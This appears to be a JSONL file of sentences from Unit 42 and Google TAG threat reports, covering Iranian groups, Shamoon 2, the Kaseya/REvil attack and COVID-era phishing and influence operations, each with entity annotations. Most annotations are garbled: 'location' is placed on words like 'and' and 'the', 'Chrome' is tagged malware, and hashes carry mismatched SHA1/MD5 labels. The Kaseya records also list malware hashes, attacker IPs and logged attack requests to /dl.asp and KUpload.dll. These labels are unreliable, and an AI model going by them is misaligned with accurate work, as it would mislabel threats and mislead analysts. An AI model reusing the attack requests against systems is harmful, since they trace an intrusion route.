 {"id":6650,"text":"Assuming the highlighted groups are indeed Iranian in origin, their activity has been well documented and the various groups often times use very similar tactics and techniques to execute their attacks, such as the heavy use of spear-phishing and credential harvesting.","entities":[{"id":20638,"label":"location","start_offset":32,"end_offset":35},{"id":20640,"label":"location","start_offset":102,"end_offset":105},{"id":20641,"label":"location","start_offset":162,"end_offset":165},{"id":20642,"label":"location","start_offset":228,"end_offset":233},{"id":20643,"label":"attack-pattern","start_offset":234,"end_offset":242},{"id":20644,"label":"location","start_offset":243,"end_offset":246}],"relations":[],"Comments":[]}
-{"id":6651,"text":"This activity has been persistent for the last decade, and it should be expected to continue or increase with recent geopolitical events.","entities":[{"id":20646,"label":"location","start_offset":55,"end_offset":58}],"relations":[],"Comments":[]}
-{"id":6652,"text":"However, across all of these groups as well as others that were not highlighted, another consistent theme has been the abuse of poorly implemented IT and security policies.","entities":[{"id":20647,"label":"location","start_offset":150,"end_offset":153},{"id":20648,"label":"location","start_offset":154,"end_offset":162}],"relations":[],"Comments":[]}
-{"id":6653,"text":"Enabling Multi-Factor Authentication (MFA) throughout an organization, properly segmenting networks, limited macro-enabled documents, and disallowing network activity to unknown domains are examples of relatively simple policies that could have assisted in the neutralization of these adversary groups’ malicious actions.","entities":[{"id":20649,"label":"location","start_offset":134,"end_offset":137},{"id":20650,"label":"location","start_offset":186,"end_offset":189}],"relations":[],"Comments":[]}
-{"id":6654,"text":" Unit 42 has consolidated the IOCs of the referenced groups in this report and stored them in our GitHub repository.","entities":[{"id":20652,"label":"location","start_offset":75,"end_offset":78},{"id":20653,"label":"location","start_offset":86,"end_offset":90}],"relations":[],"Comments":[]}
-{"id":6655,"text":"This dataset should not be considered comprehensive of all potential Iran-linked cyber operations, and may be subject to change without notice.","entities":[{"id":20656,"label":"location","start_offset":99,"end_offset":102},{"id":20657,"label":"location","start_offset":103,"end_offset":106}],"relations":[],"Comments":[]}
 {"id":6656,"text":"Link to IOCs on GitHub  ","entities":[],"relations":[],"Comments":[]}
-{"id":6657,"text":"Sign up to receive the latest news, cyber threat intelligence and research from us","entities":[{"id":20658,"label":"location","start_offset":62,"end_offset":65}],"relations":[],"Comments":[]}
-{"id":6658,"text":" Please enter your email address!","entities":[{"id":20659,"label":"location","start_offset":8,"end_offset":13}],"relations":[],"Comments":[]}
-{"id":6659,"text":" Please mark, I'm not a robot!","entities":[{"id":20660,"label":"location","start_offset":8,"end_offset":12}],"relations":[],"Comments":[]}
-{"id":6660,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.  ","entities":[{"id":20661,"label":"location","start_offset":55,"end_offset":58}],"relations":[],"Comments":[]}
 {"id":6661,"text":"This post is also available in:      日本語 (Japanese)  Palo Alto Networks Unit 42 threat intelligence team has just released new research that has uncovered a previously unknown second wave of Shamoon 2 attacks: Second Wave of Shamoon 2 Attacks Identified  Based on our analysis, these attacks were timed to occur on November 29, 2016, twelve days after the initial Shamoon 2 attacks that we wrote about previously.  ","entities":[{"id":20662,"label":"location","start_offset":5,"end_offset":9},{"id":20664,"label":"identity","start_offset":53,"end_offset":71},{"id":20665,"label":"identity","start_offset":72,"end_offset":79},{"id":20666,"label":"identity","start_offset":109,"end_offset":113},{"id":20668,"label":"tools","start_offset":191,"end_offset":198},{"id":20669,"label":"malware","start_offset":225,"end_offset":232},{"id":20672,"label":"tools","start_offset":364,"end_offset":371}],"relations":[],"Comments":[]}
 {"id":6662,"text":"Like the initial Shamoon 2 attacks, this second wave of Shamoon 2 attacks utilize the Disttrack wiper malware.","entities":[{"id":20673,"label":"tools","start_offset":17,"end_offset":24},{"id":20675,"label":"tools","start_offset":56,"end_offset":63},{"id":20677,"label":"tools","start_offset":96,"end_offset":101}],"relations":[],"Comments":[]}
-{"id":6663,"text":"Disttrack is optimized to destroy systems by targeting their hard drives and to spread as widely as possible throughout a network it’s infiltrated.","entities":[{"id":20679,"label":"location","start_offset":61,"end_offset":65},{"id":20680,"label":"location","start_offset":73,"end_offset":76}],"relations":[],"Comments":[]}
-{"id":6664,"text":"And once again, the Disttrack malware was configured to operate without any command and control (C2) servers, essentially optimized for a one-way mission of data destruction.","entities":[{"id":20681,"label":"location","start_offset":0,"end_offset":3},{"id":20683,"label":"location","start_offset":84,"end_offset":87},{"id":20685,"label":"location","start_offset":142,"end_offset":145},{"id":20686,"label":"location","start_offset":146,"end_offset":153}],"relations":[],"Comments":[]}
 {"id":6665,"text":" But this second wave of Shamoon 2 attacks show evidence of potential new tactic.","entities":[],"relations":[],"Comments":[]}
-{"id":6666,"text":"Unit 42 analysis shows that the latest sample contains credentials for virtual desktop infrastructure (VDI) solutions, such as Huawei’s FusionCloud.","entities":[{"id":20690,"label":"location","start_offset":39,"end_offset":45}],"relations":[],"Comments":[]}
 {"id":6667,"text":"VDI solutions can provide protection against a destructive malware like Disttrack through the ability to load snapshots of wiped systems to recover from a wiper attack.","entities":[{"id":20693,"label":"location","start_offset":14,"end_offset":17},{"id":20694,"label":"location","start_offset":26,"end_offset":36},{"id":20696,"label":"location","start_offset":105,"end_offset":109},{"id":20697,"label":"malware","start_offset":155,"end_offset":160}],"relations":[],"Comments":[]}
-{"id":6668,"text":"The presence of these credentials in the sample may suggest that attackers intended to increase the impact of their attack by not only wiping systems but also carrying out destructive activities against the VDI deployment, as well as any snapshots.","entities":[{"id":20698,"label":"location","start_offset":41,"end_offset":47},{"id":20699,"label":"location","start_offset":48,"end_offset":51},{"id":20700,"label":"location","start_offset":100,"end_offset":106},{"id":20701,"label":"location","start_offset":130,"end_offset":134}],"relations":[],"Comments":[]}
-{"id":6669,"text":" In essence, a manual destructive attack against the VDI deployment and snapshots coupled with the destructive attack by the malware could destroy an organizations’ systems and primary line of backup against such an attack.","entities":[{"id":20702,"label":"location","start_offset":68,"end_offset":71},{"id":20703,"label":"location","start_offset":173,"end_offset":176}],"relations":[],"Comments":[]}
-{"id":6670,"text":" The possible targeting of VDI solutions with legitimate credentials (either stolen or default) represents an escalation in tactics not only in this specific attack but other future attacks.","entities":[{"id":20704,"label":"location","start_offset":136,"end_offset":140}],"relations":[],"Comments":[]}
-{"id":6671,"text":"Security teams and administrators should be aware of and take immediate steps to evaluate this development and consider adding additional safeguards to protect credentials related to their VDI deployment.","entities":[{"id":20705,"label":"location","start_offset":0,"end_offset":8},{"id":20706,"label":"location","start_offset":15,"end_offset":18},{"id":20707,"label":"location","start_offset":53,"end_offset":56},{"id":20708,"label":"location","start_offset":107,"end_offset":110}],"relations":[],"Comments":[]}
-{"id":6672,"text":" Full technical details including associated indicators of compromise (IOCs) that can be used for more detailed analysis and protection, can be found the full report.  Palo Alto Networks customers are protected from the Disttrack payload used in this attack:  AutoFocus customers can monitor Disttrack activity using the Disttrack tag  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[{"id":20709,"label":"location","start_offset":82,"end_offset":85},{"id":20710,"label":"location","start_offset":121,"end_offset":124},{"id":20711,"label":"location","start_offset":125,"end_offset":135},{"id":20712,"label":"location","start_offset":137,"end_offset":140},{"id":20714,"label":"location","start_offset":197,"end_offset":200},{"id":20717,"label":"location","start_offset":280,"end_offset":283},{"id":20718,"label":"location","start_offset":284,"end_offset":291},{"id":20721,"label":"location","start_offset":398,"end_offset":401},{"id":20722,"label":"location","start_offset":427,"end_offset":432}],"relations":[],"Comments":[]}
-{"id":6673,"text":" Please mark, I'm not a robot!  By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.  ","entities":[{"id":20723,"label":"location","start_offset":8,"end_offset":12},{"id":20724,"label":"location","start_offset":87,"end_offset":90}],"relations":[],"Comments":[]}
-{"id":6674,"text":"This post is also available in:      日本語 (Japanese)  ","entities":[{"id":20725,"label":"location","start_offset":5,"end_offset":9}],"relations":[],"Comments":[]}
-{"id":6675,"text":"On July 2, attackers reportedly launched attacks against users of the Kaseya VSA remote monitoring and management software as well as customers of multiple managed service providers (MSPs) that use the software.","entities":[{"id":20730,"label":"location","start_offset":81,"end_offset":87},{"id":20731,"label":"location","start_offset":99,"end_offset":102}],"relations":[],"Comments":[]}
 {"id":6676,"text":"They used access to the VSA software to deploy ransomware associated with the REvil\/Sodinokibi ransomware-as-a-service group, according to reports.","entities":[{"id":20733,"label":"malware","start_offset":78,"end_offset":83},{"id":20734,"label":"threat-actor","start_offset":84,"end_offset":94}],"relations":[],"Comments":[]}
-{"id":6677,"text":"Kaseya has stated that the attack was conducted by exploiting a vulnerability in its software, and said they are working on a patch.","entities":[{"id":20736,"label":"location","start_offset":95,"end_offset":98},{"id":20737,"label":"location","start_offset":109,"end_offset":112}],"relations":[],"Comments":[]}
 {"id":6678,"text":"The company has not released further information on the vulnerability.","entities":[],"relations":[],"Comments":[]}
 {"id":6679,"text":"Kaseya recommends that any organization using VSA shut the system down immediately.","entities":[],"relations":[],"Comments":[]}
 {"id":6680,"text":"CISA has also issued a bulletin asking organizations using the software to follow Kaseya guidance.","entities":[],"relations":[],"Comments":[]}
 {"id":6681,"text":"  The full extent of the attack is currently unknown.","entities":[],"relations":[],"Comments":[]}
-{"id":6682,"text":"Kaseya states that fewer than 40 of its customers are impacted.","entities":[{"id":20743,"label":"location","start_offset":50,"end_offset":53}],"relations":[],"Comments":[]}
-{"id":6683,"text":"If those customers include MSPs, many more organizations could have been attacked with the ransomware.","entities":[{"id":20744,"label":"location","start_offset":33,"end_offset":37}],"relations":[],"Comments":[]}
-{"id":6684,"text":"Kaseya VSA’s functionality allows administrators to remotely manage systems.","entities":[{"id":20746,"label":"location","start_offset":61,"end_offset":67}],"relations":[],"Comments":[]}
 {"id":6685,"text":"If an MSP’s VSA system was compromised, that could allow an attacker to deploy malware into multiple networks managed by that MSP.","entities":[],"relations":[],"Comments":[]}
-{"id":6686,"text":"  There has been much speculation about the nature of this attack on social media and other forums.","entities":[{"id":20747,"label":"location","start_offset":17,"end_offset":21},{"id":20748,"label":"location","start_offset":76,"end_offset":81},{"id":20749,"label":"location","start_offset":82,"end_offset":85}],"relations":[],"Comments":[]}
 {"id":6687,"text":"We have not been able to independently determine how these attacks were conducted.","entities":[],"relations":[],"Comments":[]}
 {"id":6688,"text":"  Multiple sources have stated that the following three files were used to install and execute the ransomware attack on Windows systems:  agent.exe  | d55f983c994caa160ec63a59f6b4250fe67fb3e8c43a388aec60a4a6978e9f1e mpsvc.dll | e2a24ab94f865caeacdf2c3ad015f31f23008ac6db8312c2cbfb32e4a5466ea2 mpsvc.dll  | 8dd620d9aeb35960bb766458c8890ede987c33d239cf730f93fe49d90ae759dd  Palo Alto Networks WildFire, Threat Prevention and Cortex XDR detect and prevent REvil ransomware infections.","entities":[{"id":20751,"label":"location","start_offset":83,"end_offset":86},{"id":20752,"label":"SHA1","start_offset":151,"end_offset":215},{"id":20753,"label":"SHA2","start_offset":228,"end_offset":292},{"id":20754,"label":"SHA1","start_offset":306,"end_offset":370},{"id":20755,"label":"identity","start_offset":372,"end_offset":390},{"id":20756,"label":"malware","start_offset":391,"end_offset":399},{"id":20757,"label":"location","start_offset":419,"end_offset":422},{"id":20758,"label":"tools","start_offset":423,"end_offset":433},{"id":20759,"label":"location","start_offset":441,"end_offset":444},{"id":20760,"label":"tools","start_offset":453,"end_offset":458}],"relations":[],"Comments":[]}
 {"id":6689,"text":" As more information becomes available on the nature of this attack, we will update this brief to provide additional details.   d55f983c994caa160ec63a59f6b4250fe67fb3e8c43a388aec60a4a6978e9f1e 8dd620d9aeb35960bb766458c8890ede987c33d239cf730f93fe49d90ae759dd e2a24ab94f865caeacdf2c3ad015f31f23008ac6db8312c2cbfb32e4a5466ea2  Source: Incident Overview and Technical Details, Kaseya  35.226.94[.]113 161.35.239[.]148 162.253.124[.]162  POST \/dl.asp curl\/7.69.1 GET \/done.asp curl\/7.69.1 POST \/cgi-bin\/KUpload.dll curl\/7.69.1 GET \/done.asp curl\/7.69.1 POST \/cgi-bin\/KUpload.dll curl\/7.69.1 POST \/userFilterTableRpt.asp curl\/7.69.1  Understanding REvil: The Ransomware Gang Behind the Kaseya Attack  Threat Assessment: GandCrab and REvil Ransomware  2021 Unit 42 Ransomware Threat Report  Breaking Down Ransomware Attacks  Ransomware’s New Trend: Exfiltration and Extortion  Updated July 6, 2021, at 3:06 p.m. PT.  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[{"id":20761,"label":"location","start_offset":72,"end_offset":76},{"id":20762,"label":"SHA1","start_offset":128,"end_offset":192},{"id":20763,"label":"SHA2","start_offset":193,"end_offset":257},{"id":20764,"label":"MD5","start_offset":258,"end_offset":322},{"id":20765,"label":"attack-pattern","start_offset":324,"end_offset":330},{"id":20766,"label":"location","start_offset":350,"end_offset":353},{"id":20767,"label":"IPV4","start_offset":381,"end_offset":396},{"id":20768,"label":"IPV4","start_offset":397,"end_offset":413},{"id":20769,"label":"IPV4","start_offset":414,"end_offset":431},{"id":20770,"label":"location","start_offset":433,"end_offset":437},{"id":20771,"label":"location","start_offset":484,"end_offset":488},{"id":20772,"label":"location","start_offset":548,"end_offset":552},{"id":20773,"label":"location","start_offset":586,"end_offset":590},{"id":20774,"label":"tools","start_offset":642,"end_offset":647},{"id":20776,"label":"malware","start_offset":714,"end_offset":722},{"id":20777,"label":"location","start_offset":723,"end_offset":726},{"id":20778,"label":"threat-actor","start_offset":727,"end_offset":732},{"id":20780,"label":"identity","start_offset":750,"end_offset":757},{"id":20781,"label":"location","start_offset":855,"end_offset":858},{"id":20783,"label":"location","start_offset":886,"end_offset":890},{"id":20784,"label":"TIME","start_offset":895,"end_offset":907},{"id":20785,"label":"location","start_offset":972,"end_offset":975},{"id":20786,"label":"location","start_offset":1001,"end_offset":1006}],"relations":[],"Comments":[]}
-{"id":6690,"text":" Please mark, I'm not a robot!  By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[{"id":20787,"label":"location","start_offset":8,"end_offset":12},{"id":20788,"label":"location","start_offset":87,"end_offset":90}],"relations":[],"Comments":[]}
 {"id":6691,"text":"On any given day, Google's Threat Analysis Group (TAG) is tracking more than 270 targeted or government-backed attacker groups from more than 50 countries.","entities":[],"relations":[],"Comments":[]}
 {"id":6692,"text":"Our team of analysts and security experts is focused on identifying and stopping issues like phishing campaigns, zero-day vulnerabilities and hacking against Google, our products and our users.","entities":[{"id":20794,"label":"location","start_offset":21,"end_offset":24},{"id":20795,"label":"location","start_offset":25,"end_offset":33},{"id":20796,"label":"location","start_offset":68,"end_offset":71},{"id":20797,"label":"attack-pattern","start_offset":93,"end_offset":101},{"id":20799,"label":"location","start_offset":138,"end_offset":141},{"id":20801,"label":"location","start_offset":179,"end_offset":182}],"relations":[],"Comments":[]}
 {"id":6693,"text":"Today, we’re sharing recent findings on government-backed phishing, threats and disinformation, as well as a new bulletin to share information about actions we take against accounts that we attribute to coordinated influence campaigns.","entities":[{"id":20803,"label":"attack-pattern","start_offset":58,"end_offset":66},{"id":20804,"label":"location","start_offset":76,"end_offset":79}],"relations":[],"Comments":[]}
 {"id":6694,"text":"Last month, we sent 1,755 warnings to users whose accounts were targets of government-backed attackers.","entities":[],"relations":[],"Comments":[]}
 {"id":6695,"text":"Generally, 2020 has been dominated by COVID-19.","entities":[],"relations":[],"Comments":[]}
-{"id":6696,"text":"The pandemic has taken center stage in people’s everyday lives, in the international news media, and in the world of government-backed hacking.","entities":[{"id":20808,"label":"location","start_offset":23,"end_offset":29},{"id":20809,"label":"location","start_offset":71,"end_offset":84},{"id":20810,"label":"location","start_offset":90,"end_offset":95},{"id":20811,"label":"location","start_offset":97,"end_offset":100},{"id":20812,"label":"location","start_offset":108,"end_offset":113}],"relations":[],"Comments":[]}
-{"id":6697,"text":"Recently, we shared information on numerous COVID-themed attacks discovered and confirmed by our teams.","entities":[{"id":20813,"label":"location","start_offset":76,"end_offset":79}],"relations":[],"Comments":[]}
-{"id":6698,"text":"We continue to see attacks from groups like Charming Kitten on medical and healthcare professionals, including World Health Organization (WHO) employees.","entities":[{"id":20815,"label":"location","start_offset":71,"end_offset":74}],"relations":[],"Comments":[]}
 {"id":6699,"text":"And as others have reported, we’re seeing a resurgence in COVID-related hacking and phishing attempts from numerous commercial and government-backed attackers.","entities":[{"id":20818,"label":"location","start_offset":0,"end_offset":3},{"id":20819,"label":"location","start_offset":80,"end_offset":83},{"id":20820,"label":"attack-pattern","start_offset":84,"end_offset":92},{"id":20821,"label":"location","start_offset":127,"end_offset":130}],"relations":[],"Comments":[]}
-{"id":6700,"text":"As one example, we've seen new activity from “hack-for-hire” firms, many based in India, that have been creating Gmail accounts spoofing the WHO.","entities":[{"id":20823,"label":"location","start_offset":46,"end_offset":50},{"id":20824,"label":"location","start_offset":61,"end_offset":66},{"id":20825,"label":"location","start_offset":68,"end_offset":72}],"relations":[],"Comments":[]}
-{"id":6701,"text":"The accounts have largely targeted business leaders in financial services, consulting, and healthcare corporations within numerous countries including, the U.S., Slovenia, Canada, India, Bahrain, Cyprus, and the UK.","entities":[{"id":20828,"label":"location","start_offset":87,"end_offset":90},{"id":20835,"label":"location","start_offset":204,"end_offset":207}],"relations":[],"Comments":[]}
-{"id":6702,"text":"The lures themselves encourage individuals to sign up for direct notifications from the WHO to stay informed of COVID-19 related announcements, and link to attacker-hosted websites that bear a strong resemblance to the official WHO website.","entities":[{"id":20838,"label":"location","start_offset":144,"end_offset":147},{"id":20839,"label":"location","start_offset":186,"end_offset":190},{"id":20840,"label":"location","start_offset":193,"end_offset":199}],"relations":[],"Comments":[]}
-{"id":6703,"text":"The sites typically feature fake login pages that prompt potential victims to give up their Google account credentials, and occasionally encourage individuals to give up other personal information, such as their phone numbers.","entities":[{"id":20842,"label":"location","start_offset":4,"end_offset":9},{"id":20843,"label":"location","start_offset":78,"end_offset":82},{"id":20845,"label":"location","start_offset":120,"end_offset":123},{"id":20846,"label":"location","start_offset":162,"end_offset":166}],"relations":[],"Comments":[]}
 {"id":6704,"text":"To help protect users against these kinds of tracks, our Advanced Protection Program (APP) utilizes hardware security keys and provides the strongest protections available against phishing and account hijackings.","entities":[{"id":20847,"label":"location","start_offset":66,"end_offset":76},{"id":20848,"label":"location","start_offset":109,"end_offset":117},{"id":20849,"label":"location","start_offset":123,"end_offset":126},{"id":20850,"label":"attack-pattern","start_offset":180,"end_offset":188},{"id":20851,"label":"location","start_offset":189,"end_offset":192}],"relations":[],"Comments":[]}
 {"id":6705,"text":"APP was designed specifically for high-risk accounts.","entities":[],"relations":[],"Comments":[]}
-{"id":6706,"text":"Government-backed or state-sponsored groups have different goals in carrying out their attacks: Some are looking to collect intelligence or steal intellectual property; others are targeting dissidents or activists, or attempting to engage in coordinated influence operations and disinformation campaigns.","entities":[{"id":20852,"label":"location","start_offset":101,"end_offset":104},{"id":20853,"label":"location","start_offset":176,"end_offset":179},{"id":20854,"label":"location","start_offset":275,"end_offset":278}],"relations":[],"Comments":[]}
 {"id":6707,"text":"Our products are designed with robust built-in security features, like Gmail protections against phishing and Safe Browsing in Chrome, but we still dedicate significant resources to developing new tools and technology to help identify, track and stop this kind of activity.","entities":[{"id":20855,"label":"location","start_offset":13,"end_offset":16},{"id":20856,"label":"location","start_offset":47,"end_offset":55},{"id":20858,"label":"attack-pattern","start_offset":97,"end_offset":105},{"id":20859,"label":"location","start_offset":106,"end_offset":109},{"id":20860,"label":"threat-actor","start_offset":110,"end_offset":114},{"id":20861,"label":"location","start_offset":203,"end_offset":206},{"id":20862,"label":"location","start_offset":242,"end_offset":245},{"id":20863,"label":"malware","start_offset":246,"end_offset":250}],"relations":[],"Comments":[]}
-{"id":6708,"text":"In addition to our internal investigations, we work with law enforcement, industry partners, and third parties like specialized security firms to assess and share intelligence.","entities":[{"id":20864,"label":"location","start_offset":57,"end_offset":60},{"id":20865,"label":"location","start_offset":74,"end_offset":82},{"id":20866,"label":"location","start_offset":93,"end_offset":96},{"id":20868,"label":"location","start_offset":128,"end_offset":136},{"id":20869,"label":"location","start_offset":137,"end_offset":142},{"id":20870,"label":"location","start_offset":153,"end_offset":156}],"relations":[],"Comments":[]}
-{"id":6709,"text":"When we find attempts to conduct coordinated influence operations on our platforms, we work with our Trust & Safety teams to swiftly remove such content from our platforms and terminate these actors’ accounts.","entities":[{"id":20872,"label":"location","start_offset":145,"end_offset":152},{"id":20873,"label":"location","start_offset":172,"end_offset":175}],"relations":[],"Comments":[]}
-{"id":6710,"text":"We take steps to prevent possible future attempts by the same actors, and routinely exchange information and share our findings with others in the industry.","entities":[{"id":20874,"label":"location","start_offset":57,"end_offset":61},{"id":20875,"label":"location","start_offset":70,"end_offset":73},{"id":20876,"label":"location","start_offset":84,"end_offset":92},{"id":20877,"label":"location","start_offset":105,"end_offset":108},{"id":20878,"label":"location","start_offset":147,"end_offset":155}],"relations":[],"Comments":[]}
-{"id":6711,"text":"We’ve also shared occasional updates about this kind of activity, and today we’re introducing a more streamlined way of doing this via a new, quarterly bulletin to share information about actions we take against accounts that we attribute to coordinated influence campaigns (foreign and domestic).","entities":[{"id":20879,"label":"location","start_offset":66,"end_offset":69},{"id":20881,"label":"location","start_offset":113,"end_offset":116},{"id":20883,"label":"location","start_offset":283,"end_offset":286},{"id":20884,"label":"location","start_offset":287,"end_offset":295}],"relations":[],"Comments":[]}
-{"id":6712,"text":"Our actions against coordinated influence operations from January, February and March can be found in the Q1 Bulletin.","entities":[{"id":20887,"label":"location","start_offset":76,"end_offset":79},{"id":20889,"label":"location","start_offset":86,"end_offset":89}],"relations":[],"Comments":[]}
-{"id":6713,"text":"Since March, we’ve removed more than a thousand YouTube channels that we believe to be part of a large campaign and that were behaving in a coordinated manner.","entities":[{"id":20894,"label":"location","start_offset":97,"end_offset":102},{"id":20895,"label":"location","start_offset":103,"end_offset":111},{"id":20896,"label":"location","start_offset":112,"end_offset":115}],"relations":[],"Comments":[]}
-{"id":6714,"text":"These channels were mostly uploading spammy, non-political content, but a small subset posted primarily Chinese-language political content similar to the findings of a recent Graphika report.","entities":[{"id":20897,"label":"location","start_offset":59,"end_offset":66},{"id":20898,"label":"location","start_offset":74,"end_offset":79},{"id":20900,"label":"location","start_offset":131,"end_offset":138}],"relations":[],"Comments":[]}
-{"id":6715,"text":"We’ll also share additional removal actions from April and May in the Q2 Bulletin.","entities":[{"id":20903,"label":"location","start_offset":55,"end_offset":58}],"relations":[],"Comments":[]}
-{"id":6716,"text":"Our hope is that this new bulletin helps others who are also working to track these groups, such as researchers studying this issue, and we hope these updates can help confirm findings from security firms and others in the industry.","entities":[{"id":20906,"label":"location","start_offset":4,"end_offset":8},{"id":20907,"label":"location","start_offset":52,"end_offset":55},{"id":20908,"label":"location","start_offset":126,"end_offset":131},{"id":20909,"label":"location","start_offset":133,"end_offset":136},{"id":20910,"label":"location","start_offset":140,"end_offset":144},{"id":20911,"label":"location","start_offset":159,"end_offset":162},{"id":20912,"label":"location","start_offset":190,"end_offset":198},{"id":20913,"label":"location","start_offset":199,"end_offset":204},{"id":20914,"label":"location","start_offset":205,"end_offset":208},{"id":20915,"label":"location","start_offset":223,"end_offset":231}],"relations":[],"Comments":[]}
 {"id":6717,"text":"We will also continue to share more detailed analysis of vulnerabilities we find, phishing and malware campaigns that we see, and other interesting or noteworthy trends across this space.","entities":[{"id":20916,"label":"location","start_offset":3,"end_offset":7},{"id":20917,"label":"attack-pattern","start_offset":82,"end_offset":90},{"id":20918,"label":"location","start_offset":91,"end_offset":94},{"id":20919,"label":"location","start_offset":126,"end_offset":129}],"relations":[],"Comments":[]}
 {"id":6718,"text":"This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q1 of 2020.","entities":[],"relations":[],"Comments":[]}
 {"id":6719,"text":"It was last updated on May 27, 2020.","entities":[],"relations":[],"Comments":[]}
 {"id":6720,"text":"We terminated 3 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Iran.","entities":[],"relations":[],"Comments":[]}
-{"id":6721,"text":"The campaign was linked to the Iranian state-sponsored International Union of Virtual Media (IUVM) network, and was reproducing IUVM content covering Iran’s strikes into Iraq and U.S. policy on oil.","entities":[{"id":20925,"label":"location","start_offset":4,"end_offset":12},{"id":20929,"label":"location","start_offset":108,"end_offset":111},{"id":20931,"label":"location","start_offset":133,"end_offset":140},{"id":20934,"label":"location","start_offset":175,"end_offset":178},{"id":20936,"label":"location","start_offset":194,"end_offset":197}],"relations":[],"Comments":[]}
 {"id":6722,"text":"We received leads from Graphika that supported us in this investigation.","entities":[],"relations":[],"Comments":[]}
-{"id":6723,"text":"We terminated 1 advertising account and 82 YouTube channels as part of our actions against a coordinated influence operation linked to Egypt.","entities":[{"id":20939,"label":"location","start_offset":36,"end_offset":39}],"relations":[],"Comments":[]}
-{"id":6724,"text":"The campaign was sharing political content in Arabic supportive of Saudi Arabia, the UAE, Egypt, and Bahrain and critical of Iran and Qatar.","entities":[{"id":20943,"label":"location","start_offset":4,"end_offset":12},{"id":20944,"label":"location","start_offset":35,"end_offset":42},{"id":20949,"label":"location","start_offset":97,"end_offset":100},{"id":20951,"label":"location","start_offset":109,"end_offset":112},{"id":20953,"label":"location","start_offset":130,"end_offset":133}],"relations":[],"Comments":[]}
-{"id":6725,"text":"We found evidence of this campaign being tied to the digital marketing firm New Waves based in Cairo.","entities":[{"id":20955,"label":"location","start_offset":26,"end_offset":34}],"relations":[],"Comments":[]}
-{"id":6726,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":20958,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
-{"id":6727,"text":"We terminated 3 advertising accounts, 1 AdSense account, and 11 YouTube channels as part of our actions against a coordinated influence operation linked to India.","entities":[{"id":20963,"label":"location","start_offset":57,"end_offset":60}],"relations":[],"Comments":[]}
-{"id":6728,"text":"The campaign was sharing messages in English supportive of Qatar.","entities":[{"id":20967,"label":"location","start_offset":4,"end_offset":12}],"relations":[],"Comments":[]}
-{"id":6729,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":20970,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
-{"id":6730,"text":"We banned 1 Play developer and terminated 68 YouTube channels as part of our actions against a coordinated influence operation.","entities":[{"id":20973,"label":"location","start_offset":27,"end_offset":30}],"relations":[],"Comments":[]}
-{"id":6731,"text":"The campaign was posting political content in Arabic supportive of Turkey and critical of the UAE and Yemen.","entities":[{"id":20976,"label":"location","start_offset":4,"end_offset":12},{"id":20977,"label":"location","start_offset":35,"end_offset":42},{"id":20980,"label":"location","start_offset":74,"end_offset":77},{"id":20982,"label":"location","start_offset":98,"end_offset":101}],"relations":[],"Comments":[]}
-{"id":6732,"text":"This campaign was consistent with similar findings reported by Twitter.","entities":[{"id":20984,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
-{"id":6733,"text":"We terminated 1 advertising account, 1 AdSense account, 17 YouTube channels and banned 1 Play developer as part of our actions against a coordinated influence operation linked to Egypt.","entities":[{"id":20991,"label":"location","start_offset":76,"end_offset":79}],"relations":[],"Comments":[]}
-{"id":6734,"text":"The campaign was posting political content in Arabic supportive of Saudi Arabia, the UAE, Egypt, and Bahrain and critical of Iran and Qatar.","entities":[{"id":20994,"label":"location","start_offset":4,"end_offset":12},{"id":20995,"label":"location","start_offset":35,"end_offset":42},{"id":21000,"label":"location","start_offset":97,"end_offset":100},{"id":21002,"label":"location","start_offset":109,"end_offset":112},{"id":21004,"label":"location","start_offset":130,"end_offset":133}],"relations":[],"Comments":[]}
-{"id":6735,"text":"This campaign was consistent with similar findings reported by Twitter.","entities":[{"id":21006,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
-{"id":6736,"text":"We banned 1 Play developer and terminated 78 YouTube channels as part of our actions against a coordinated influence operation linked to Serbia.","entities":[{"id":21009,"label":"location","start_offset":27,"end_offset":30}],"relations":[],"Comments":[]}
-{"id":6737,"text":"The domestic campaign was posting pro-Serbian political content.","entities":[{"id":21013,"label":"location","start_offset":4,"end_offset":12},{"id":21014,"label":"location","start_offset":13,"end_offset":21},{"id":21016,"label":"location","start_offset":56,"end_offset":63}],"relations":[],"Comments":[]}
-{"id":6738,"text":"This campaign was consistent with similar findings reported by Twitter.","entities":[{"id":21017,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
 {"id":6739,"text":"Google’s Threat Analysis Group (TAG) is a specialized team of security experts that works to identify, report, and stop government-backed phishing and hacking against Google and the people who use our products.","entities":[{"id":21021,"label":"location","start_offset":62,"end_offset":70},{"id":21022,"label":"location","start_offset":111,"end_offset":114},{"id":21023,"label":"location","start_offset":115,"end_offset":119},{"id":21024,"label":"attack-pattern","start_offset":138,"end_offset":146},{"id":21025,"label":"location","start_offset":147,"end_offset":150},{"id":21027,"label":"location","start_offset":174,"end_offset":177}],"relations":[],"Comments":[]}
-{"id":6740,"text":"We work across Google products to identify new vulnerabilities and threats.","entities":[{"id":21029,"label":"location","start_offset":63,"end_offset":66}],"relations":[],"Comments":[]}
-{"id":6741,"text":"Today we’re sharing our latest findings and the threats we’re seeing in relation to COVID-19.","entities":[{"id":21031,"label":"location","start_offset":40,"end_offset":43}],"relations":[],"Comments":[]}
 {"id":6742,"text":"One notable campaign attempted to target personal accounts of U.S. government employees with phishing lures using American fast food franchises and COVID-19 messaging.","entities":[{"id":21033,"label":"location","start_offset":12,"end_offset":20},{"id":21034,"label":"location","start_offset":34,"end_offset":40},{"id":21036,"label":"attack-pattern","start_offset":93,"end_offset":101},{"id":21038,"label":"location","start_offset":144,"end_offset":147}],"relations":[],"Comments":[]}
